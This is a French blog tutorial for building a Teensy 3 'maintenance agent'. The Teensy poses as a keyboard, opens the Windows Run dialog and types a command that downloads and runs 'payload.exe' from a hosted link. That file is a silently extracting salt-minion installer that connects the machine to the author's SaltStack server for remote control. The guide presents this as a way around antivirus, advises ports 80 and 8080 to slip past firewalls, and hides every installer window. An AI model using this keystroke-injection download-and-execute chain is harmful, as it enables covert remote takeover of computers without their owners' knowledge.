Teensy & sysadmin – Agent de maintenance USB

tt

Teensy & sysadmin – Agent de maintenance USB

Ce projet a pour but d’installer un agent de maintenance sur une machine Windows par l’intermédiaire d’un dongle Teensy 3.

Deux procédures disponibles : la partie exploitation et la partie serveur. L’exploitation comprend le script de commandes au format .ino du Teensy ainsi que les ressources à mettre en place.

Une fois connecté, le Teensy téléchargera la partie client de saltstack-minion, l’installera en silencieux en tant que service et ira se connecter vers votre serveur SaltStack. En effet, les machines seront gérées avec un outil de provisionnement d’applications, ce qui permet de passer outre les antivirus et de garder un environnement propre.

 

L’EXPLOITATION

Pour réaliser cette partie, il nous faut :

-un Teensy 3

-une machine physique Linux Debian

-une machine physique Windows de 7 à 10

-l’application Arduino installée avec l’extension Teensyduino

-les sources disponibles ici -> Télécharger les sources Systeensy

 

Préparation du labo :

On installe Arduino puis le Teensyduino sur la Debian ainsi que les règles udev; tout est expliqué sur le site teensyduino.

On télécharge les sources du projet Systeensy sur la Debian

On ouvre ensuite le fichier systeensy.ino.

Si vous ne connaissez pas le Teensy, il s’agit d’un module de développement USB qui a la faculté de pouvoir se faire passer pour un périphérique HID. Un clavier, une souris, un joystick et même des signaux MIDI.

Le fonctionnement est simple : on fait passer le Teensy pour un clavier et on lui donne des instructions préprogrammées pour qu’il simule la frappe de touches.

On retrouvera dans le fichier systeensy.ino :

  • Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI); // Open the Run dialog.
  • Keyboard.set_key1(KEY_R);
  • Keyboard.send_now();
  • clearKeys();

On peut facilement comprendre qu’il s’agit là, d’un raccourci clavier (Windows + R).

Répérez la commande Keyboard.print(« start http://liendownload/payload.exe && exit »)

Il s’agit du lien direct vers notre agent SaltStack. C’est cet exécutable qui sera téléchargé et lancé grâce au Teensy. Modifiez le en conséquence…

Enfin, répérez la commande Keyboard.print(« C:\\Users\\user\\downloads\\payload.exe && exit »)

Il s’agit de l’emplacement sur la machine où se trouvera le payload qui sera téléchargé. Modifiez en conséquence.

Attention : Pour les scripts teensyduino, les doubles backslashs ‘\\’ sont de rigeurs, sans quoi vous allez perdre patience. N’oubliez pas ce détail lorsque vous allez saisir les chemins.

Vous allez récupérer ces valeurs par la suite, lors de la génération de l’agent et de sa mise en ligne.

Après avoir modifié ces valeurs, le script sera prêt à être compilé sur le Teensy.

On ouvrira le fichier Systeensy.ino dans Arduino.

Et on suivra les étapes montrées dans la video suivante.

 

VIDEO

 

On reviendra sur le Teensy à la fin au moment ou nous allons modifier le script pour pointer vers le lien de download de notre agent.

Maintenant, on va installer la partie serveur, qui permettra de contrôler les machines.

Il s’agit d’un serveur saltstack auquel on aura ajouté des « formulas », sorte de recettes d’installation automatiques qui seront appliquées sur les machines. On pourra ainsi forcer l’installation d’antispyware, de rendre plus accessible la gestion de parc Windows, outrepassant la complexité du Powershell, mais pas sa puissance, évidemment.

Le meilleur atout de cette solution est que la diffusion par média USB simplifie le travail des administrateurs systèmes sur les machines nomades. Le Teensy étant un module USB, il n’est pas impossible que j’essaie de coder une solution pour Android, en utilisant la technologie OTG. Ainsi, même les smartphones qui peuplent votre flotte seront à jour et facilement accessibles à distance de manière sécurisée.

 

La partie serveur :

 

On installe le serveur saltstack avec la commande :

apt-get install salt-master

Une petite note pour la suite : si vous avez des problèmes à passer les pare-feux, je vous conseille de choisir les ports 80 et 8080 pour la communication avec vos agents. Vous pourrez ainsi continuer de surveiller vos machines même derrière les hotspots.

Une fois réalisée, on modifie le fichier de configuration :

nano /etc/salt/master

Et on y modifie les entrées en conséquence :

master : adresse ip publique si vps/locale si laboratoire maison

publish_port: 8080

ret_port: 80

Sauvegardez et quittez.

On relance le service et on s’assure qu’il écoute sur les bons ports

service salt-master restart && lsof -i

Si vous ne connaissez pas lsof, c’est un outil qui permet de lister les ports et connexions actuellement ouvertes sur votre machine. Un outil indispensable pour le debuggage réseau.

Grâce à lsof, vous pouvez voir que l’utilisateur salt-master à bien lancé le daemon sur les port http et http-alt.

Si vous avez des soucis de communication entre master et minions, je vous propose ces quelques commandes qui m’ont aidé à débugger:

# Pour vérifier si le port est utilisé et par quoi le cas échéant.

lsof -i :80

# Cette commande capture le trafic sur l’interface mais pas sur les ports qui ne nous interessent pas.

tcpdump -i eth0 -w capture_test.pcap not ‘(port 22 or 53 or 443) and not icmp’

# Avec cette commande, on lit le journal d’évenements correspondant au serveur saltstack afin de s’assurer que la communication fonctionne entre les agents et le maître.

tail -f /var/log/salt/master

Maintenant que tout est prêt côté serveur, on revient au Teensy.

Il nous faut maintenant créer le paquet d’installation automatique et silencieuse de salt-minion.

On crée un nouveau dossier sur une machine Windows et on télécharge salt-minion.

Pour ce faire, on récupère l’agent ici. Renommez l’exécutable en salt-minion.exe.

Il nous faut créer un script bat qui lancera l’installation de l’agent avec les bon paramètres. On crée un fichier launcher.bat et on y ajoute ceci :

 

cd %temp%

salt-minion.exe /S /master=ipdevotreserversalt

 

L’archive :

On sauvegarde tout ça et on lance Winrar

On crée une nouvelle archive avec le paramètre ‘Créer une archive SFX’, ensuite onglet ‘Avancé’, Options SFX.

Quatres paramètres importants :

Dans l’onglet General >Chemin d’accès pour l’extraction : %temp%

Ensuite, dans l’onglet Setup >Lancer après l’extraction : %temp%\launcher.bat

Viens alors l’onglet Mode >Mode Silencieux > Tout masquer

Et enfin, l’onglet Mettre à jour > Mode de remplacement : Replacer tous les fichiers

On  valide sur OK et on clique sur OK pour générer l’archive auto-extractible.

Il faut maintenant l’héberger quelquepart, mais sur un hébergeur qui fourni un lien direct (exemple : http://monupload.com/myfile.exe) Le téléchargement doit pouvoir se faire sans intervention extérieure. Une fois l’archive uploadé, vous obtiendrez un lien. Copiez ce lien

On va modifier le fichier systeensy.ino :

Reperez la ligne

Keyboard.print(« start $votrelienmegaici/myfile.exe && exit »);

Maintenant, repérez la ligne :

Keyboard.print(« C:\\Users\\MaJesTiK\\Desktop\\myfile.exe && exit »);

On sauvegarde et on upload le script sur Teensy. Une fois terminé, on le déconnecte du pc labo et on l’insère sur la machine Windows de test.

Après quelques secondes, il se met à l’oeuvre, ouvre une cmd, lance le téléchargement et l’éxecute. On peut constater sur le serveur, avec la commande salt-key qu’un nouvel hôte non autorisé s’est présenté. On accorde la connexion avec la commande salt-key -a nomdelhoteaveclacommandesalt-key.

Les sources seront bientôt disponibles.